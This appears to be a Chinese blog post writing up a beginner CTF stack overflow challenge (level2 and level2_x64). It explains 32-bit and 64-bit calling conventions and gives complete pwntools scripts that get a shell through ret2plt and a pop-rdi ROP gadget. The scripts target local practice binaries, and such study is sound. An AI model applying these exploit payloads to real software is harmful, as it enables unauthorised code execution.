当前位置:网站首页>栈溢出基础练习题——3 (内有32和64位区别的对比)
栈溢出基础练习题——3 (内有32和64位区别的对比)
2022-07-22 18:12:00 【Mokapeng】
所有练习题:https://blog.csdn.net/qq_41696518/article/details/125646549
本题:pwn2 --> level2
先checksec一下,32位,开启了栈不可执行,自己构造shellcode指定不行,放入ida反编译一下
存在漏洞函数,不存在后门函数,但调用了system函数,这时则可以利用system的plt表掉system函数,因此只需要找到system的参数即可,Shift+F12,发现还存在/bin/sh字符串
那这题目就白给了,攻击函数:
from pwn import *
io = process("./level2")
elf = ELF("./level2")
bin_sh = 0x0804A024
system = elf.plt["system"]
io.recv()
payload = b'A'*(0x88+4) + p32(system) + b'A'*4 + p32(bin_sh)
io.sendline(payload)
io.interactive()
那如果是64位下的呢?有什么区别
x86:
- 使用栈传递参数
- 使用eax存返回值

注意x86参数是倒序存入栈的
amd64:
- 前6个参数依次存放于rdi,rsi,rdx,rcx,r8,r9寄存器中
- 后7个参数存放于栈中

注意寄存器是顺着放入,当存入栈时也是逆序放入,因为栈先进后出
这题也有x64版本:pwn2_x64 --> level2_x64
exp.py:
from pwn import *
io = process("./level2_x64")
elf = ELF("./level2_x64")
system_plt = elf.plt["system"]
bin_sh = next(elf.search(b"/bin/sh"))
pop_rdi_ret = 0x00000000004006b3
# pop_rdi_ret 可由 ROPgadget --binary level_x86 --only "pop|ret" | grep rdi 得到
payload = b'A'*(0x80+8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_plt)
io.recv()
io.sendline(payload)
io.interactive()
边栏推荐
猜你喜欢
随机推荐
Dom4j parses XML files and processes data information from XML
shell基本命令
嵌入式系统移植【3】——uboot的烧写及使用
SNAT and DNAT
Firewall Research Report
expect 交互
磁盘管理操作
利用“HiFolw”快捷制作高校学生返校名单信息生成
【NumPy】
Establishment of zstuacm student information base (completed with linked list)
Zstuacm registration results (complete with STL linked list)
03. Design of large-scale high parallel micro service system
Firewall knowledge, principle, equipment, manufacturer research summary report
详解虚拟机下三种联网模式
十月随笔
【基础3】——结构与函数
Zstuacm summer camp flag bearer
UNIX Programming - network socket
Detailed explanation of three types of high-frequency function operation of basic C programming under liinux class I - file operation function (f)
【数据库连接】——节选自培训









